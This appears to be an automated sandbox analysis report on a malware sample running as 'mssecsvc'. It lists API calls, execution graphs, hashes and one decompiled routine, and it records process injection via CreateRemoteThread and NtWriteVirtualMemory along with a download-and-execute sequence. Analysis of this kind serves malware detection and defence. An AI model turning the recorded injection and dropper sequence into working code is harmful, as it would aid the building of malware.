                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA27A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                                                                                                                                                                • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                                                                                                                                                                • InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                                                                                                                                                                • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                                                                                                                                                                • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                                                                                                                                                                • InternetCloseHandle.WININET(?), ref: 7FEA2833
                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3452404049-0
                                                                                                                                                                • Opcode ID: 79ba4446e2a00169ac63f746143a5fe332799a213c8ddaac65906699330d25c2
                                                                                                                                                                • Instruction ID: 253c23f555185b814b1cdcf545c16be04bb5684639417fd8c89e0d35e34b2959
                                                                                                                                                                • Opcode Fuzzy Hash: 79ba4446e2a00169ac63f746143a5fe332799a213c8ddaac65906699330d25c2
                                                                                                                                                                • Instruction Fuzzy Hash: D0116DB1102605FBEB250B24CC49FFB7A2DEF85B14F004519FA06AD090DBF5AA5096A8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(01E6FB38), ref: 7FEA113D
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA11D6), ref: 7FEA1148
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressHandleModuleProc
                                                                                                                                                                • String ID: .DLL
                                                                                                                                                                • API String ID: 1646373207-899428287
                                                                                                                                                                • Opcode ID: 10ee03f602b6349dc7cedc8c09501795956ad4c0f43e49632d56126e52950066
                                                                                                                                                                • Instruction ID: 64e96567a4fa29470c832aebb982c78cc4185b42e07649bfd7ba7b32abc738d9
                                                                                                                                                                • Opcode Fuzzy Hash: 10ee03f602b6349dc7cedc8c09501795956ad4c0f43e49632d56126e52950066
                                                                                                                                                                • Instruction Fuzzy Hash: 5A01C434116206EAC7538E28C8457FE3BBDEF14275F004115D91A8F159C67AAA50CF95
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A810CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(01E6FB38), ref: 00A8113D
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00A811D6), ref: 00A81148
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressHandleModuleProc
                                                                                                                                                                • String ID: .DLL
                                                                                                                                                                • API String ID: 1646373207-899428287
                                                                                                                                                                • Opcode ID: 10ee03f602b6349dc7cedc8c09501795956ad4c0f43e49632d56126e52950066
                                                                                                                                                                • Instruction ID: 34ee04bae92a75b9c8e0b8bfd8b237e2a339ae0897febf7587149934b2bb8f48
                                                                                                                                                                • Opcode Fuzzy Hash: 10ee03f602b6349dc7cedc8c09501795956ad4c0f43e49632d56126e52950066
                                                                                                                                                                • Instruction Fuzzy Hash: C401D230616106FACB65BF6CC84DAEA7BBCEF04351F004218EA1A8B156C770DE82C795
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Execution Graph

                                                                                                                                                                Execution Coverage:62.9%
                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                Signature Coverage:0%
                                                                                                                                                                Total number of Nodes:6
                                                                                                                                                                Total number of Limit Nodes:0
                                                                                                                                                                execution_graph 52 a71624 53 a7162a 52->53 56 a71937 53->56 55 a71737 57 a71941 56->57 58 a71998 CreateSemaphoreA 57->58 58->55

                                                                                                                                                                Callgraph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                • Opacity -> Relevance
                                                                                                                                                                • Disassembly available
                                                                                                                                                                callgraph 0 Function_00A71937 3 Function_00A71880 0->3 4 Function_00A71919 0->4 1 Function_00A71624 1->0 2 Function_00A71853 1->2 1->3

                                                                                                                                                                Executed Functions

                                                                                                                                                                Function 00A71937 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                C-Code - Quality: 64%
                                                                                                                                                                			E00A71937(void* __ebx, void* __ecx, void* __edx, void* __edi, intOrPtr __esi, void* __eflags) {
				void* _t26;
				signed int _t28;
				void* _t35;
				void* _t38;
				void* _t45;
				signed char _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				void* _t61;
				char* _t62;

				_t58 = __esi;
				_t45 = __edx;
				_t28 = E00A71880(_t26, __ebx, 0xbedc8246) & 0xffffff00 | _t63;
				asm("adc eax, 0xfffffffa");
				 *((intOrPtr*)(_t61 - 0x1b)) = _t58;
				E00A71880(_t28, __ebx, 0x2354ad82);
				 *((intOrPtr*)(_t62 + 0x4c)) = _t58;
				_t59 = _t62 + 0x28;
				_push(0x20);
				_t55 =  *((intOrPtr*)(_t62 + 0x4c));
				_t49 =  !(_t45 - 1);
				do {
					 *_t55(_t62, 8);
					 *((intOrPtr*)(_t62 + 0x50))();
					 *_t62 =  *_t62 - 1;
				} while ( *_t62 != 0);
				_pop(_t35);
				E00A71919(_t49 - 0xdd, _t59, _t35 - _t61);
				 *_t15 = 1;
				 *(_t59 + 0x14) = 0xc;
				 *((intOrPtr*)(_t59 + 0x18)) = _t59;
				 *((char*)(_t59 + 2)) =  *((char*)(_t59 + 2)) - 0xfc;
				 *((intOrPtr*)(_t61 + 0x38e)) =  *((intOrPtr*)(_t61 + 0x38e)) + _t61;
				_t38 = CreateSemaphoreA(_t59 + 0x14, 3, 4, _t61 + 0x1ab); // executed
				 *((intOrPtr*)(_t61 + 0x38e)) =  *((intOrPtr*)(_t61 + 0x38e)) - _t61;
				return _t38;
			}














                                                                                                                                                                0x00a71937
                                                                                                                                                                0x00a71937
                                                                                                                                                                0x00a71941
                                                                                                                                                                0x00a71944
                                                                                                                                                                0x00a71949
                                                                                                                                                                0x00a7195a
                                                                                                                                                                0x00a71967
                                                                                                                                                                0x00a7196b
                                                                                                                                                                0x00a7196e
                                                                                                                                                                0x00a71970
                                                                                                                                                                0x00a71974
                                                                                                                                                                0x00a71976
                                                                                                                                                                0x00a7197c
                                                                                                                                                                0x00a7197e
                                                                                                                                                                0x00a71982
                                                                                                                                                                0x00a71982
                                                                                                                                                                0x00a7198e
                                                                                                                                                                0x00a71993
                                                                                                                                                                0x00a71998
                                                                                                                                                                0x00a7199d
                                                                                                                                                                0x00a719ad
                                                                                                                                                                0x00a719b3
                                                                                                                                                                0x00a719c1
                                                                                                                                                                0x00a719c7
                                                                                                                                                                0x00a719cd
                                                                                                                                                                0x00a719d5

                                                                                                                                                                APIs
                                                                                                                                                                • CreateSemaphoreA.KERNEL32(0000000C,00000003,00000004,?,00000001), ref: 00A719C7
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000008.00000002.379360782.0000000000A71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000008.00000002.378061684.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000008.00000002.378096915.0000000000401000.00000020.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000008.00000002.378153935.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000008.00000002.378175610.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000008.00000002.378192285.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000008.00000002.378273016.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000008.00000002.378431386.0000000000710000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_8_2_400000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateSemaphore
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1078844751-0
                                                                                                                                                                • Opcode ID: 38d9393eb725c631237ab43a3d77c8f51a2f25e4d215c9cb3a2d3d8518a4b0bf
                                                                                                                                                                • Instruction ID: 51b66771240c269f5bfcdc117c63efe6c0755afb275683365717d73df10a4ef7
                                                                                                                                                                • Opcode Fuzzy Hash: 38d9393eb725c631237ab43a3d77c8f51a2f25e4d215c9cb3a2d3d8518a4b0bf
                                                                                                                                                                • Instruction Fuzzy Hash: 311102351043248FC721CF289C55B9ABBE4AF86724F00864DE1A98B1C1CBB09249CBD2
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Execution Graph

                                                                                                                                                                Execution Coverage:5.4%
                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                Signature Coverage:0%
                                                                                                                                                                Total number of Nodes:320
                                                                                                                                                                Total number of Limit Nodes:0
                                                                                                                                                                execution_graph 3006 bd655f 3007 bd6586 5 API calls 3006->3007 3008 bd6569 3007->3008 2471 a71624 2472 a7162a 2471->2472 2475 a71937 2472->2475 2474 a71737 2476 a71941 2475->2476 2477 a71998 CreateSemaphoreA 2476->2477 2477->2474 2508 bd02fe 2509 bd0415 2508->2509 2511 bd042d 2509->2511 2542 bd10ce 2511->2542 2513 bd048f 2514 bd04dd 2513->2514 2515 bd04b0 GetModuleHandleA 2513->2515 2516 bd04f8 GetVersion 2514->2516 2515->2514 2517 bd050f VirtualAlloc 2516->2517 2518 bd05ca 2516->2518 2519 bd05a9 CloseHandle 2517->2519 2524 bd0532 2517->2524 2518->2519 2520 bd05d3 SetProcessAffinityMask 2518->2520 2522 bd05f2 GetModuleHandleA 2519->2522 2549 bd05f2 GetModuleHandleA 2520->2549 2523 bd10ce 2 API calls 2522->2523 2540 bd05ec 2523->2540 2524->2519 2546 bd05ba 2524->2546 2525 bd06fc lstrcpyW 2568 bd24ae lstrcpyW lstrlenW 2525->2568 2527 bd074c NtMapViewOfSection 2527->2519 2527->2540 2528 bd0717 GetPEB lstrcpyW lstrcatW 2529 bd24ae 3 API calls 2528->2529 2529->2540 2531 bd0780 NtOpenProcessToken 2532 bd07c5 CreateToolhelp32Snapshot Process32First 2531->2532 2531->2540 2533 bd07eb Process32Next 2532->2533 2534 bd0865 CloseHandle 2533->2534 2533->2540 2534->2519 2536 bd07fd OpenProcess 2536->2533 2536->2540 2538 bd085c CloseHandle 2538->2533 2539 bd0834 CreateRemoteThread 2539->2538 2539->2540 2540->2519 2540->2525 2540->2527 2540->2528 2540->2531 2540->2532 2540->2533 2540->2536 2540->2538 2540->2539 2541 bd05ba Sleep 2540->2541 2571 bd07ac 2540->2571 2594 bd2574 2540->2594 2541->2538 2544 bd10db 2542->2544 2543 bd115c 2543->2513 2544->2542 2544->2543 2545 bd1133 GetModuleHandleA GetProcAddress 2544->2545 2545->2544 2547 bd05bf Sleep 2546->2547 2548 bd05c9 2546->2548 2547->2546 2548->2519 2550 bd10ce 2 API calls 2549->2550 2566 bd060e 2550->2566 2551 bd05a9 CloseHandle 2551->2549 2552 bd06fc lstrcpyW 2553 bd24ae 3 API calls 2552->2553 2553->2566 2554 bd074c NtMapViewOfSection 2554->2551 2554->2566 2555 bd0717 GetPEB lstrcpyW lstrcatW 2556 bd24ae 3 API calls 2555->2556 2556->2566 2557 bd0780 NtOpenProcessToken 2558 bd07c5 CreateToolhelp32Snapshot Process32First 2557->2558 2557->2566 2559 bd07eb Process32Next 2558->2559 2560 bd0865 CloseHandle 2559->2560 2559->2566 2560->2551 2561 bd07ac 30 API calls 2561->2566 2562 bd07fd OpenProcess 2562->2559 2562->2566 2563 bd2574 5 API calls 2563->2566 2564 bd085c CloseHandle 2564->2559 2565 bd0834 CreateRemoteThread 2565->2564 2565->2566 2566->2551 2566->2552 2566->2554 2566->2555 2566->2557 2566->2558 2566->2559 2566->2561 2566->2562 2566->2563 2566->2564 2566->2565 2567 bd05ba Sleep 2566->2567 2567->2564 2569 bd6c19 2568->2569 2570 bd24ea NtCreateSection 2569->2570 2570->2540 2613 bd144a LookupPrivilegeValueA NtAdjustPrivilegesToken 2571->2613 2573 bd07b2 FreeLibrary FindCloseChangeNotification 2574 bd07c5 CreateToolhelp32Snapshot Process32First 2573->2574 2575 bd07eb Process32Next 2574->2575 2576 bd0865 CloseHandle 2575->2576 2582 bd060e 2575->2582 2577 bd05a9 CloseHandle 2576->2577 2579 bd05f2 GetModuleHandleA 2577->2579 2578 bd07fd OpenProcess 2578->2575 2578->2582 2580 bd10ce 2 API calls 2579->2580 2580->2582 2581 bd2574 5 API calls 2581->2582 2582->2574 2582->2575 2582->2577 2582->2578 2582->2581 2583 bd085c CloseHandle 2582->2583 2584 bd0834 CreateRemoteThread 2582->2584 2587 bd06fc lstrcpyW 2582->2587 2589 bd074c NtMapViewOfSection 2582->2589 2590 bd0717 GetPEB lstrcpyW lstrcatW 2582->2590 2592 bd0780 NtOpenProcessToken 2582->2592 2593 bd07ac 13 API calls 2582->2593 2583->2575 2584->2583 2585 bd084d 2584->2585 2586 bd05ba Sleep 2585->2586 2586->2583 2588 bd24ae 3 API calls 2587->2588 2588->2582 2589->2577 2589->2582 2591 bd24ae 3 API calls 2590->2591 2591->2582 2592->2574 2592->2582 2593->2582 2614 bd252f NtOpenSection 2594->2614 2596 bd257c 2597 bd2661 2596->2597 2598 bd2582 NtMapViewOfSection FindCloseChangeNotification 2596->2598 2597->2540 2598->2597 2600 bd25ba 2598->2600 2599 bd25ef 2616 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2599->2616 2600->2599 2615 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2600->2615 2603 bd2600 2617 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2603->2617 2605 bd2611 2618 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2605->2618 2607 bd2622 2609 bd2637 2607->2609 2619 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2607->2619 2611 bd264c 2609->2611 2620 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2609->2620 2611->2597 2621 bd2477 NtProtectVirtualMemory NtWriteVirtualMemory 2611->2621 2613->2573 2614->2596 2615->2599 2616->2603 2617->2605 2618->2607 2619->2609 2620->2611 2621->2597 2622 bd6579 2625 bd6586 2622->2625 2626 bd6583 2625->2626 2627 bd6591 2625->2627 2627->2626 2629 bd6597 2627->2629 2630 bd2574 5 API calls 2629->2630 2631 bd65a9 2630->2631 2631->2626 2632 bd3378 2634 bd337d 2632->2634 2633 bd3407 MapViewOfFile CloseHandle 2635 bd358b 2633->2635 2639 bd3448 2633->2639 2634->2633 2634->2634 2636 bd33d8 NtOpenSection 2634->2636 2636->2635 2638 bd33f7 NtQuerySystemInformation 2636->2638 2637 bd344f UnmapViewOfFile 2637->2635 2638->2633 2639->2635 2639->2637 2478 bd433a 2481 bd144a LookupPrivilegeValueA NtAdjustPrivilegesToken 2478->2481 2480 bd4340 2481->2480 2482 bd37b1 2484 bd37b7 WaitForSingleObject 2482->2484 2485 bd37d3 2484->2485 2486 bd3331 2488 bd333a 2486->2488 2489 bd3341 Sleep 2488->2489 2489->2489 2647 bd116f LoadLibraryA 2650 bd1196 GetProcAddress 2647->2650 2649 bd1180 2650->2649 3009 bd10cb 3011 bd10ce 3009->3011 3010 bd115c 3011->3010 3012 bd1133 GetModuleHandleA GetProcAddress 3011->3012 3012->3011 2651 bd2665 2653 bd266b CreateThread CloseHandle 2651->2653 2654 bd3bd0 2653->2654 2656 bd3bd5 2654->2656 2657 bd3c41 2656->2657 2661 bd3bf3 GetWindowsDirectoryA 2656->2661 2705 bd252f NtOpenSection 2657->2705 2659 bd3c46 2660 bd3c93 GetSystemDirectoryA 2659->2660 2706 bd3c5a GetModuleHandleA 2659->2706 2747 bd3cb7 lstrcat 2660->2747 2663 bd3cbe 2661->2663 2783 bd3cce LoadLibraryA 2663->2783 2705->2659 2707 bd3c76 2706->2707 2708 bd3c64 2706->2708 2818 bd3c88 GetModuleHandleA 2707->2818 2709 bd3c6c GetProcAddress 2708->2709 2709->2707 2748 bd3cbe 2747->2748 2749 bd3cce 117 API calls 2748->2749 2750 bd3cc3 GetProcAddress LoadLibraryA 2749->2750 2752 bd10ce 2 API calls 2750->2752 2753 bd3d15 2752->2753 2754 bd3d2a GetTickCount 2753->2754 2755 bd3d42 2754->2755 2756 bd3ddf GetVolumeInformationA 2755->2756 2757 bd3e12 2756->2757 2758 bd3ebd 2757->2758 2759 bd3e4d 78 API calls 2757->2759 2760 bd3ec9 CreateThread CloseHandle 2758->2760 2761 bd3ee7 2758->2761 2767 bd3e41 2759->2767 2760->2761 2762 bd3ef8 40 API calls 2761->2762 2763 bd3eec 2762->2763 2764 bd10ce 2 API calls 2763->2764 2765 bd3f16 2764->2765 2766 bd3f27 26 API calls 2765->2766 2768 bd3f1b 2766->2768 2767->2758 2770 bd339d 5 API calls 2767->2770 2769 bd10ce 2 API calls 2768->2769 2771 bd3f4d 2769->2771 2770->2758 2772 bd425f RtlExitUserThread 2771->2772 2773 bd3f6c CreateThread CloseHandle CreateEventA 2771->2773 2779 bd3fa3 2773->2779 2774 bd3fe7 lstrlen 2774->2774 2774->2779 2775 bd421f SetEvent 2776 bd4231 Sleep ResetEvent 2775->2776 2776->2779 2777 bd4080 GetVersionExA 2777->2779 2778 bd4109 10 API calls 2778->2779 2779->2772 2779->2774 2779->2775 2779->2776 2779->2777 2779->2778 2780 bd412b CreateThread CloseHandle 2779->2780 2781 bd41d7 Sleep 2779->2781 2780->2779 2781->2779 2782 bd41e3 GetTickCount 2781->2782 2782->2779 2959 bd3ce3 GetProcAddress LoadLibraryA 2783->2959 2855 bd26d4 2818->2855 2821 bd3cb7 137 API calls 2822 bd3caa GetProcAddress LoadLibraryA 2821->2822 2824 bd10ce 2 API calls 2822->2824 2825 bd3d15 2824->2825 2826 bd3d2a GetTickCount 2825->2826 2827 bd3d42 2826->2827 2828 bd3ddf GetVolumeInformationA 2827->2828 2829 bd3e12 2828->2829 2830 bd3ebd 2829->2830 2857 bd3e4d LoadLibraryA 2829->2857 2832 bd3ec9 CreateThread CloseHandle 2830->2832 2833 bd3ee7 2830->2833 2832->2833 2883 bd3ef8 LoadLibraryA 2833->2883 2856 bd26c8 GetSystemDirectoryA 2855->2856 2856->2821 2901 bd3e64 GetProcAddress GetModuleFileNameA 2857->2901 2884 bd3f16 2883->2884 2885 bd10ce 2 API calls 2883->2885 2886 bd3f27 26 API calls 2884->2886 2885->2884 2887 bd3f1b 2886->2887 2888 bd10ce 2 API calls 2887->2888 2889 bd3f4d 2888->2889 2890 bd425f RtlExitUserThread 2889->2890 2891 bd3f6c CreateThread CloseHandle CreateEventA 2889->2891 2898 bd3fa3 2891->2898 2892 bd3fe7 lstrlen 2892->2892 2892->2898 2893 bd421f SetEvent 2894 bd4231 Sleep ResetEvent 2893->2894 2894->2898 2895 bd4080 GetVersionExA 2895->2898 2896 bd4109 10 API calls 2896->2898 2897 bd412b CreateThread CloseHandle 2897->2898 2898->2890 2898->2892 2898->2893 2898->2894 2898->2895 2898->2896 2898->2897 2899 bd41d7 Sleep 2898->2899 2899->2898 2900 bd41e3 GetTickCount 2899->2900 2900->2898 2903 bd3e95 2901->2903 2902 bd3ebd 2905 bd3ec9 CreateThread CloseHandle 2902->2905 2906 bd3ee7 2902->2906 2903->2902 2926 bd339d 2903->2926 2905->2906 2907 bd3ef8 40 API calls 2906->2907 2908 bd3eec 2907->2908 2909 bd10ce 2 API calls 2908->2909 2910 bd3f16 2909->2910 2934 bd3f27 LoadLibraryA 2910->2934 2927 bd33d3 2926->2927 2927->2927 2928 bd33d8 NtOpenSection 2927->2928 2929 bd33f7 NtQuerySystemInformation 2928->2929 2933 bd358b 2928->2933 2930 bd3407 MapViewOfFile CloseHandle 2929->2930 2932 bd3448 2930->2932 2930->2933 2931 bd344f UnmapViewOfFile 2931->2933 2932->2931 2932->2933 2933->2902 2935 bd425f RtlExitUserThread 2934->2935 2936 bd3f35 2934->2936 2937 bd3f4d 2936->2937 2938 bd10ce 2 API calls 2936->2938 2937->2935 2939 bd3f6c CreateThread CloseHandle CreateEventA 2937->2939 2938->2937 2945 bd3fa3 2939->2945 2940 bd3fe7 lstrlen 2940->2940 2940->2945 2941 bd421f SetEvent 2942 bd4231 Sleep ResetEvent 2941->2942 2942->2945 2943 bd4080 GetVersionExA 2943->2945 2945->2935 2945->2940 2945->2941 2945->2942 2945->2943 2946 bd412b CreateThread CloseHandle 2945->2946 2947 bd41d7 Sleep 2945->2947 2949 bd4109 2945->2949 2946->2945 2947->2945 2948 bd41e3 GetTickCount 2947->2948 2948->2945 2957 bd3fa3 2949->2957 2950 bd412b CreateThread CloseHandle 2950->2957 2951 bd425f RtlExitUserThread 2952 bd421f SetEvent 2953 bd4231 Sleep ResetEvent 2952->2953 2953->2957 2954 bd3fe7 lstrlen 2954->2954 2954->2957 2955 bd41d7 Sleep 2956 bd41e3 GetTickCount 2955->2956 2955->2957 2956->2957 2957->2950 2957->2951 2957->2952 2957->2953 2957->2954 2957->2955 2958 bd4080 GetVersionExA 2957->2958 2958->2957 2960 bd3d15 2959->2960 2961 bd10ce 2 API calls 2959->2961 2962 bd3d2a GetTickCount 2960->2962 2961->2960 2963 bd3d42 2962->2963 2964 bd3ddf GetVolumeInformationA 2963->2964 2965 bd3e12 2964->2965 2966 bd3ebd 2965->2966 2967 bd3e4d 78 API calls 2965->2967 2968 bd3ec9 CreateThread CloseHandle 2966->2968 2969 bd3ee7 2966->2969 2975 bd3e41 2967->2975 2968->2969 2970 bd3ef8 40 API calls 2969->2970 2971 bd3eec 2970->2971 2972 bd10ce 2 API calls 2971->2972 2973 bd3f16 2972->2973 2974 bd3f27 26 API calls 2973->2974 2976 bd3f1b 2974->2976 2975->2966 2978 bd339d 5 API calls 2975->2978 2977 bd10ce 2 API calls 2976->2977 2979 bd3f4d 2977->2979 2978->2966 2980 bd425f RtlExitUserThread 2979->2980 2981 bd3f6c CreateThread CloseHandle CreateEventA 2979->2981 2987 bd3fa3 2981->2987 2982 bd3fe7 lstrlen 2982->2982 2982->2987 2983 bd421f SetEvent 2984 bd4231 Sleep ResetEvent 2983->2984 2984->2987 2985 bd4080 GetVersionExA 2985->2987 2986 bd4109 10 API calls 2986->2987 2987->2980 2987->2982 2987->2983 2987->2984 2987->2985 2987->2986 2988 bd412b CreateThread CloseHandle 2987->2988 2989 bd41d7 Sleep 2987->2989 2988->2987 2989->2987 2990 bd41e3 GetTickCount 2989->2990 2990->2987 2490 bd3820 2492 bd3826 GetSystemTime 2490->2492 2495 bd386a 2492->2495 2493 bd38a4 Sleep 2493->2495 2494 bd39ca 2495->2493 2495->2494 2496 bd3951 Sleep 2495->2496 2496->2495 2498 bd0000 2499 bd0004 2498->2499 2500 bd00a1 2499->2500 2502 bd025e 2499->2502 2506 bd0105 2502->2506 2505 bd0278 2505->2500 2507 bd0116 GetPEB 2506->2507 2507->2505 2497 bd1422 LookupPrivilegeValueA NtAdjustPrivilegesToken 2991 bd2762 2993 bd2768 2991->2993 2994 bd2829 2993->2994 2995 bd2780 GetTempPathA 2993->2995 3001 bd27a7 GetTempFileNameA CreateFileA 2995->3001 2998 bd27ce 2999 bd27fe CloseHandle CreateProcessA 2998->2999 3000 bd27ea WriteFile 2998->3000 2999->2994 3000->2998 3000->2999 3002 bd27ce 3001->3002 3003 bd27a3 CreateFileA 3001->3003 3004 bd27fe CloseHandle CreateProcessA 3002->3004 3005 bd27ea WriteFile 3002->3005 3003->2994 3003->2998 3004->3003 3005->3002 3005->3004

                                                                                                                                                                Executed Functions

                                                                                                                                                                Function 00BD042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 288memoryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 0 bd042d-bd04a4 call bd10ce 3 bd04dd 0->3 4 bd04a6-bd04db call bd273c GetModuleHandleA 0->4 6 bd04e4-bd0509 call bd2750 GetVersion 3->6 4->6 10 bd050f-bd0530 VirtualAlloc 6->10 11 bd05ca-bd05d1 6->11 12 bd05a9-bd0615 CloseHandle GetModuleHandleA call bd10ce 10->12 13 bd0532-bd0562 call bd0305 10->13 11->12 14 bd05d3-bd05fc SetProcessAffinityMask call bd05f2 11->14 28 bd0617-bd0630 12->28 13->12 27 bd0564-bd057b 13->27 20 bd05fe-bd061c 14->20 21 bd0621-bd0630 14->21 20->21 24 bd0639-bd0652 21->24 25 bd0632 21->25 24->12 29 bd0658-bd0671 24->29 25->24 27->12 35 bd057d-bd05a4 27->35 28->24 28->25 29->12 30 bd0677-bd0690 29->30 30->12 32 bd0696-bd069c 30->32 33 bd069e-bd06b1 32->33 34 bd06d8-bd06de 32->34 33->12 36 bd06b7-bd06bd 33->36 37 bd06fc-bd0715 lstrcpyW call bd24ae 34->37 38 bd06e0-bd06f3 34->38 35->12 49 bd05a4 call bd05ba 35->49 36->34 39 bd06bf-bd06d2 36->39 44 bd074c-bd0775 NtMapViewOfSection 37->44 45 bd0717-bd0746 GetPEB lstrcpyW lstrcatW call bd24ae 37->45 38->37 40 bd06f5 38->40 39->12 39->34 40->37 44->12 48 bd077b-bd078f call bd0305 NtOpenProcessToken 44->48 45->12 45->44 53 bd07c5-bd07e4 CreateToolhelp32Snapshot Process32First 48->53 54 bd0791-bd07a3 call bd115d call bd07ac 48->54 49->12 56 bd07eb-bd07f5 Process32Next 53->56 64 bd080e-bd080f 54->64 65 bd07a5 54->65 58 bd0865-bd0872 CloseHandle 56->58 59 bd07f7-bd07fb 56->59 58->12 59->56 61 bd07fd-bd080d OpenProcess 59->61 61->56 63 bd080f 61->63 66 bd0810-bd0818 call bd2574 63->66 64->66 65->66 67 bd07a7-bd07c4 65->67 71 bd085c-bd0863 CloseHandle 66->71 72 bd081a-bd0820 66->72 67->53 71->56 72->71 73 bd0822-bd0832 72->73 73->71 74 bd0834-bd084b CreateRemoteThread 73->74 74->71 75 bd084d-bd0857 call bd05ba 74->75 75->71
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00000000), ref: 00BD04BE
                                                                                                                                                                • GetVersion.KERNEL32 ref: 00BD0500
                                                                                                                                                                • VirtualAlloc.KERNEL32(00000000,00007700,08001000,00000040), ref: 00BD0528
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00BD05AD
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Handle$AllocCloseModuleVersionVirtual
                                                                                                                                                                • String ID: \BaseNamedObjects\mvatVt$\BaseNamedObjects\mvatVt$csrs
                                                                                                                                                                • API String ID: 3017432202-2550090786
                                                                                                                                                                • Opcode ID: 153d6b8474e22b40a0f04ab804704d83fe284c5cb655dda2b9faf65c0ba0e213
